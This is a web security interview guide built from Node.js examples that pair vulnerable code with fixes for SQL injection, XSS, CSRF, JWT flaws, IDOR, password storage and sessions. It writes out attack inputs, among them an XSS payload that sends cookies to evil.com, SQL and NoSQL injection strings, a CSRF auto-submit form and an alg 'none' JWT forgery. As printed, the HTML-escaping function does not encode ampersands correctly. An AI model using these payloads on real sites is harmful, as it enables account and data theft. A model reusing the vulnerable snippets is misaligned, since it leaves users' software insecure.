Web Security & OWASP Interview Questions Complete Guide 2026 [UPDATED]

// VULNERABLE: Direct object reference without authorization
app.get('/api/orders/:orderId', async (req, res) => {
  // Only checks authentication, not authorization
  const order = await db.query(
    'SELECT * FROM orders WHERE id = ?',
    [req.params.orderId]
  );
  res.json(order); // Attacker can access any order: /api/orders/1, /api/orders/2...
});
 
// SECURE: Always verify ownership
app.get('/api/orders/:orderId', async (req, res) => {
  const order = await db.query(
    'SELECT * FROM orders WHERE id = ? AND user_id = ?',
    [req.params.orderId, req.user.id]  // Include user_id in query
  );
 
  if (!order) {
    return res.status(404).json({ error: 'Order not found' });
  }
 
  res.json(order);
});
 
// BETTER: Use session context instead of URL parameters
app.get('/api/my/orders', async (req, res) => {
  // User ID comes from authenticated session, not URL
  const orders = await db.query(
    'SELECT * FROM orders WHERE user_id = ?',
    [req.user.id]
  );
  res.json(orders);
});

// NEVER: Plaintext storage
const user = { email, password: plainPassword }; // Immediate breach exposure
 
// NEVER: Fast hashing algorithms
const hash = crypto.createHash('sha256').update(password).digest('hex');
// SHA-256 can compute billions per second - easily brute-forced
 
// NEVER: MD5 (broken, rainbow tables exist)
const hash = crypto.createHash('md5').update(password).digest('hex');
 
// CORRECT: Use bcrypt with appropriate cost factor
const bcrypt = require('bcrypt');
const COST_FACTOR = 12; // Should take ~250ms
 
async function hashPassword(password) {
  return await bcrypt.hash(password, COST_FACTOR);
}
 
async function verifyPassword(password, hash) {
  return await bcrypt.compare(password, hash);
}
 
// BETTER: Argon2id (winner of Password Hashing Competition)
const argon2 = require('argon2');
 
async function hashPassword(password) {
  return await argon2.hash(password, {
    type: argon2.argon2id,
    memoryCost: 65536,  // 64MB
    timeCost: 3,
    parallelism: 4
  });
}
 
async function verifyPassword(password, hash) {
  return await argon2.verify(hash, password);
}

// VULNERABLE: String concatenation
app.get('/api/users', async (req, res) => {
  const query = `SELECT * FROM users WHERE name = '${req.query.name}'`;
  // Attack: ?name=' OR '1'='1' --
  // Result: SELECT * FROM users WHERE name = '' OR '1'='1' --'
  // Returns ALL users!
 
  const users = await db.query(query);
  res.json(users);
});
 
// VULNERABLE: Even with "sanitization"
const name = req.query.name.replace(/'/g, "''"); // Easily bypassed
 
// SECURE: Parameterized queries (prepared statements)
app.get('/api/users', async (req, res) => {
  const users = await db.query(
    'SELECT * FROM users WHERE name = ?',  // Placeholder
    [req.query.name]  // User input as parameter, never concatenated
  );
  res.json(users);
});
 
// SECURE: Using ORM (Sequelize, Prisma, etc.)
const users = await User.findAll({
  where: {
    name: req.query.name  // ORM handles parameterization
  }
});
 
// SECURE: MongoDB with Mongoose
const users = await User.find({ name: req.query.name });
// Note: Still validate input to prevent NoSQL injection
// Attack: { "$gt": "" } would match all documents
const name = typeof req.query.name === 'string' ? req.query.name : '';

// 1. REFLECTED XSS - Attack in URL, reflected in response
// URL: example.com/search?q=<script>document.location='http://evil.com/steal?c='+document.cookie</script>
 
app.get('/search', (req, res) => {
  // VULNERABLE: User input directly in HTML
  res.send(`<h1>Results for: ${req.query.q}</h1>`);
});
 
// 2. STORED XSS - Attack saved in database, shown to all users
app.post('/comments', async (req, res) => {
  // VULNERABLE: Malicious comment stored and shown to everyone
  await db.saveComment(req.body.comment);
  // If comment is "<script>stealCookies()</script>", every viewer is attacked
});
 
// 3. DOM-BASED XSS - Attack in client-side JavaScript
// VULNERABLE: URL fragment or query used unsafely
document.getElementById('output').innerHTML = location.hash.substring(1);
// URL: example.com#<img src=x onerror=alert('XSS') />

// SOLUTION 1: Output encoding
const escapeHtml = (str) => {
  return str
    .replace(/&/g, '&')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#039;');
};
 
app.get('/search', (req, res) => {
  res.send(`<h1>Results for: ${escapeHtml(req.query.q)}</h1>`);
});
 
// SOLUTION 2: Use textContent instead of innerHTML
document.getElementById('output').textContent = userInput; // Safe
 
// SOLUTION 3: Content Security Policy header
app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    "default-src 'self'; " +
    "script-src 'self'; " +  // No inline scripts, no eval
    "style-src 'self' 'unsafe-inline'; " +
    "img-src 'self' data: https:; " +
    "connect-src 'self' https://api.example.com"
  );
  next();
});
 
// SOLUTION 4: Template engines with auto-escaping (React, Vue, Angular)
// React automatically escapes:
function Comment({ text }) {
  return <p>{text}</p>;  // <script> becomes &lt;script&gt;
}
 
// DANGER: dangerouslySetInnerHTML bypasses protection
<div dangerouslySetInnerHTML={{ __html: userInput }} /> // NEVER with user input

<!-- ATTACK SCENARIO -->
<!-- User is logged into bank.com -->
<!-- Attacker's page (evil.com) contains: -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />
<!-- Or hidden form that auto-submits: -->
<form action="https://bank.com/transfer" method="POST" id="csrf">
  <input type="hidden" name="to" value="attacker" />
  <input type="hidden" name="amount" value="10000" />
</form>
<script>document.getElementById('csrf').submit();</script>
<!-- User's cookies are automatically sent - transfer executed! -->

// SOLUTION 1: CSRF Tokens
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });
 
app.get('/transfer', csrfProtection, (req, res) => {
  // Include token in form
  res.send(`
    <form action="/transfer" method="POST">
      <input type="hidden" name="_csrf" value="${req.csrfToken()}" />
      <input name="to" />
      <input name="amount" />
      <button>Transfer</button>
    </form>
  `);
});
 
app.post('/transfer', csrfProtection, (req, res) => {
  // Middleware validates token - rejects if missing or invalid
  performTransfer(req.body);
});
 
// SOLUTION 2: SameSite Cookies
app.use(session({
  secret: process.env.SESSION_SECRET,
  cookie: {
    httpOnly: true,      // JavaScript can't access
    secure: true,        // HTTPS only
    sameSite: 'strict',  // Cookie only sent for same-site requests
    // 'lax' allows GET requests from external links (better UX)
  }
}));
 
// SOLUTION 3: Verify Origin/Referer headers
function validateOrigin(req, res, next) {
  const origin = req.headers.origin || req.headers.referer;
  const allowedOrigins = ['https://bank.com', 'https://www.bank.com'];
 
  if (!origin || !allowedOrigins.some(o => origin.startsWith(o))) {
    return res.status(403).json({ error: 'Invalid origin' });
  }
  next();
}
 
// SOLUTION 4: Custom header requirement (for APIs)
// Browsers add Origin header to cross-origin requests
// But won't add custom headers like X-Requested-With
app.use((req, res, next) => {
  if (req.method !== 'GET' && !req.headers['x-requested-with']) {
    return res.status(403).json({ error: 'Missing X-Requested-With header' });
  }
  next();
});

// JWT Structure: header.payload.signature
// eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
// eyJ1c2VySWQiOjEyMywicm9sZSI6ImFkbWluIn0.
// signature
 
// VULNERABILITY 1: Algorithm confusion
// Attacker changes alg: "HS256" to alg: "none"
const maliciousToken = {
  header: { alg: 'none', typ: 'JWT' },
  payload: { userId: 123, role: 'admin' }
};
 
// DEFENSE: Always specify allowed algorithms
const jwt = require('jsonwebtoken');
 
function verifyToken(token) {
  return jwt.verify(token, process.env.JWT_SECRET, {
    algorithms: ['HS256'],  // Reject 'none' and RS256
  });
}
 
// VULNERABILITY 2: Weak secret
jwt.sign(payload, 'secret123');  // Easily cracked
 
// DEFENSE: Strong secret (256+ bits for HS256)
const crypto = require('crypto');
const JWT_SECRET = crypto.randomBytes(64).toString('hex');
 
// VULNERABILITY 3: Sensitive data in payload
jwt.sign({
  userId: 123,
  password: 'hash',  // NEVER put sensitive data here!
  ssn: '123-45-6789'
}, secret);
 
// VULNERABILITY 4: Missing expiration
jwt.sign({ userId: 123 }, secret);  // Token valid forever
 
// DEFENSE: Always set expiration
jwt.sign({ userId: 123 }, secret, { expiresIn: '15m' });
 
// VULNERABILITY 5: Token stored in localStorage
localStorage.setItem('token', jwt);  // XSS can steal it
 
// DEFENSE: Use httpOnly cookies for web apps
res.cookie('token', jwt, {
  httpOnly: true,   // Not accessible via JavaScript
  secure: true,     // HTTPS only
  sameSite: 'lax',  // CSRF protection
  maxAge: 900000    // 15 minutes
});
 
// Complete secure implementation
function createToken(user) {
  return jwt.sign(
    {
      sub: user.id,
      role: user.role,
      // No sensitive data!
    },
    process.env.JWT_SECRET,
    {
      algorithm: 'HS256',
      expiresIn: '15m',
      issuer: 'your-app',
      audience: 'your-app-users',
    }
  );
}
 
function verifyToken(token) {
  try {
    return jwt.verify(token, process.env.JWT_SECRET, {
      algorithms: ['HS256'],
      issuer: 'your-app',
      audience: 'your-app-users',
    });
  } catch (error) {
    if (error.name === 'TokenExpiredError') {
      throw new Error('Token expired');
    }
    throw new Error('Invalid token');
  }
}

const helmet = require('helmet');
 
// Recommended: Use helmet with customization
app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'"],  // No 'unsafe-inline'!
      styleSrc: ["'self'", "'unsafe-inline'"],
      imgSrc: ["'self'", "data:", "https:"],
      connectSrc: ["'self'", "https://api.yourapp.com"],
      fontSrc: ["'self'", "https://fonts.gstatic.com"],
      objectSrc: ["'none'"],
      upgradeInsecureRequests: [],
    },
  },
  hsts: {
    maxAge: 31536000,
    includeSubDomains: true,
    preload: true,
  },
}));
 
// Manual implementation for understanding
app.use((req, res, next) => {
  // Prevent XSS - control what can load/execute
  res.setHeader('Content-Security-Policy',
    "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'");
 
  // Force HTTPS
  res.setHeader('Strict-Transport-Security',
    'max-age=31536000; includeSubDomains; preload');
 
  // Prevent clickjacking
  res.setHeader('X-Frame-Options', 'DENY');
 
  // Prevent MIME type sniffing
  res.setHeader('X-Content-Type-Options', 'nosniff');
 
  // Control referrer information
  res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
 
  // Control browser features
  res.setHeader('Permissions-Policy',
    'geolocation=(), camera=(), microphone=()');
 
  // Remove server identification
  res.removeHeader('X-Powered-By');
 
  next();
});

const bcrypt = require('bcrypt');
const crypto = require('crypto');
 
// Password requirements
const PASSWORD_POLICY = {
  minLength: 12,
  requireUppercase: true,
  requireLowercase: true,
  requireNumber: true,
  requireSpecial: true,
  maxLength: 128,  // Prevent DoS via bcrypt
};
 
function validatePassword(password) {
  if (password.length < PASSWORD_POLICY.minLength) {
    return { valid: false, error: 'Password must be at least 12 characters' };
  }
  if (password.length > PASSWORD_POLICY.maxLength) {
    return { valid: false, error: 'Password too long' };
  }
  // Additional checks...
  return { valid: true };
}
 
// Account lockout after failed attempts
const loginAttempts = new Map();
const MAX_ATTEMPTS = 5;
const LOCKOUT_TIME = 15 * 60 * 1000; // 15 minutes
 
async function login(email, password) {
  const attempts = loginAttempts.get(email) || { count: 0, lockedUntil: 0 };
 
  // Check lockout
  if (attempts.lockedUntil > Date.now()) {
    const waitMinutes = Math.ceil((attempts.lockedUntil - Date.now()) / 60000);
    throw new Error(`Account locked. Try again in ${waitMinutes} minutes.`);
  }
 
  const user = await db.findUserByEmail(email);
 
  // Timing attack prevention: always compare even if user doesn't exist
  const dummyHash = await bcrypt.hash('dummy', 12);
  const hashToCompare = user ? user.passwordHash : dummyHash;
 
  const valid = await bcrypt.compare(password, hashToCompare);
 
  if (!valid || !user) {
    // Increment failed attempts
    attempts.count++;
    if (attempts.count >= MAX_ATTEMPTS) {
      attempts.lockedUntil = Date.now() + LOCKOUT_TIME;
    }
    loginAttempts.set(email, attempts);
 
    // Generic error message (don't reveal if user exists)
    throw new Error('Invalid email or password');
  }
 
  // Reset attempts on successful login
  loginAttempts.delete(email);
 
  return createSession(user);
}
 
// Secure session management
function createSession(user) {
  const sessionId = crypto.randomBytes(32).toString('hex');
 
  // Store session server-side
  sessions.set(sessionId, {
    userId: user.id,
    createdAt: Date.now(),
    lastActive: Date.now(),
    ipAddress: req.ip,
    userAgent: req.headers['user-agent'],
  });
 
  return sessionId;
}
 
// Session validation
function validateSession(sessionId, req) {
  const session = sessions.get(sessionId);
 
  if (!session) return null;
 
  // Session timeout (30 minutes of inactivity)
  if (Date.now() - session.lastActive > 30 * 60 * 1000) {
    sessions.delete(sessionId);
    return null;
  }
 
  // Absolute timeout (24 hours)
  if (Date.now() - session.createdAt > 24 * 60 * 60 * 1000) {
    sessions.delete(sessionId);
    return null;
  }
 
  // Update last active
  session.lastActive = Date.now();
 
  return session;
}

const rateLimit = require('express-rate-limit');
 
// General API rate limiting
const apiLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 100, // Limit each IP to 100 requests per window
  message: { error: 'Too many requests, please try again later' },
  standardHeaders: true,
  legacyHeaders: false,
});
 
// Strict rate limiting for auth endpoints
const authLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,
  max: 5, // Only 5 login attempts per 15 minutes
  message: { error: 'Too many login attempts' },
  skipSuccessfulRequests: true, // Don't count successful logins
});
 
// Apply limiters
app.use('/api/', apiLimiter);
app.use('/api/auth/', authLimiter);
 
// IP-based + account-based limiting
const loginAttempts = new Map();
 
async function checkRateLimit(ip, email) {
  const ipKey = `ip:${ip}`;
  const emailKey = `email:${email}`;
 
  const ipAttempts = loginAttempts.get(ipKey) || 0;
  const emailAttempts = loginAttempts.get(emailKey) || 0;
 
  // Block if too many attempts from same IP
  if (ipAttempts >= 20) {
    throw new Error('Too many requests from this IP');
  }
 
  // Block if too many attempts on same account
  if (emailAttempts >= 5) {
    throw new Error('Account temporarily locked');
  }
 
  // Increment counters
  loginAttempts.set(ipKey, ipAttempts + 1);
  loginAttempts.set(emailKey, emailAttempts + 1);
 
  // Auto-reset after 15 minutes
  setTimeout(() => {
    loginAttempts.delete(ipKey);
    loginAttempts.delete(emailKey);
  }, 15 * 60 * 1000);
}

// Given this code:
app.post('/api/user', (req, res) => {
  const { email, password, isAdmin } = req.body;
  db.query(`INSERT INTO users (email, password, is_admin)
            VALUES ('${email}', '${password}', ${isAdmin})`);
  res.json({ success: true });
});
 
// Issues to identify:
// 1. SQL Injection (string concatenation)
// 2. Password stored in plaintext
// 3. Mass assignment (user can set isAdmin)
// 4. No input validation
// 5. No authentication check
// 6. No rate limiting